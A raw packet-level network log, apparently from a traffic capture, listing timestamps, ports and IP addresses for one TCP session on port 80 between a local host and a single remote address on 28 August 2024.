Aug 28, 2024 22:55:53.191941023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203193903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203203917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203218937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203228951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203238010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203249931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203250885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203262091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203265905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203273058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203289986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203300953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203310966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203314066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203321934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203329086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203344107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203362942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203396082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203404903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203416109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203425884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203433990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203459978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.203480959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.203519106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210172892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210181952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210191965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210208893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210218906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210227013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210230112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210243940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210263968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210318089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210336924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210349083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210355997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210381031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210504055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210514069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210525990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210539103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210547924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210551977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210560083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210585117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210663080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210679054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.210706949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.210722923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.217732906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217747927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217760086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217778921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217788935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217801094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217803001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.217812061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217820883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.217825890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.217839956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.217852116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.218178988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218216896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.218372107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218380928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218391895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218405962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218415976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.218430996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.218517065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218528986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218539000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.218555927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.218570948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242501020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242572069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242583036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242593050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242614031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242628098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242640018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242650032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242660999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242670059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242671967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242681980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.242685080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242727041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.242727041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262198925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262253046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262316942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262326002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262340069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262350082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262358904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262367010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262377024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262377024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262387037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262398958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262401104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262408018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262425900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262450933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262454033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262464046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262475014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262492895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262511969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262511969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262521982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262531042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262546062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262566090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262598991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262634993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262658119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262667894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262692928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262711048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262722015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262748957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262851954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262864113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.262892008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.262909889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263194084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263205051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263221025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263231039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263236046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263262987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263298988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263309002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263319969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263338089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263340950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263350010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263351917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263361931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263374090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263375998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263391018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263392925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263401031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263418913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263430119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.263524055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.263560057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.264434099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264468908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264477015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.264496088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.264569998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264621019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264631033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264631987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.264642000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264655113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.264655113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264666080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.264672041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.264698982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278294086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278305054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278315067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278327942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278338909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278347015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278350115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278364897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278381109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278399944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278410912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278422117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278433084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278439045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278449059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278450012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278477907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278563976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278573036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278584003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278604031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278619051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278629065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278636932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278640032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278671980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278762102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278773069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278784037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278794050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278803110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.278805017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278820038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.278836966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.297785997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297796011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297806025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297841072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.297846079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297857046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297863007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.297868013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297884941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.297884941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.297908068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.297945023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298013926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298028946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298039913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298052073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298057079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298063040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298074007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298079967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298085928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298095942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298105001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298106909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298120975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298135996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298151970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298161983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298177958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298187971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298187971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298198938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298207998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298209906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298222065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298232079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298249006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298253059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298259974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298269987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.298280001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.298295975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.302369118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302378893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302388906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302419901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.302428961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302438974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302438974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.302455902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302463055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.302467108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302478075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.302478075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.302524090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.302524090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.304595947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304640055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.304653883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304663897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304687977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.304711103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304722071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304730892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304735899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.304742098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.304757118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.304780006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.329411983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329432964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329442024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329505920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.329514027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329524994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329535007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329546928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329550028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.329556942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.329577923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.329600096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349283934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349304914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349315882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349356890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349360943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349368095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349379063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349390984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349406958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349422932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349441051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349452019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349462032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349473953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349499941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349643946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349653959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349664927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349674940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349684954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349690914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349698067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349706888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349715948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349723101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349728107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349747896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349756956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349760056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349772930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349792004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349802971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349834919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349847078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.349872112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.349885941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.350109100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350146055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.350157022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350167990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350192070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.350199938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350212097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350239038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.350297928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350307941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.350337029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351272106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351313114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351351976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351361036 CEST	80	49731	147.45.68.138	192.168.2.7
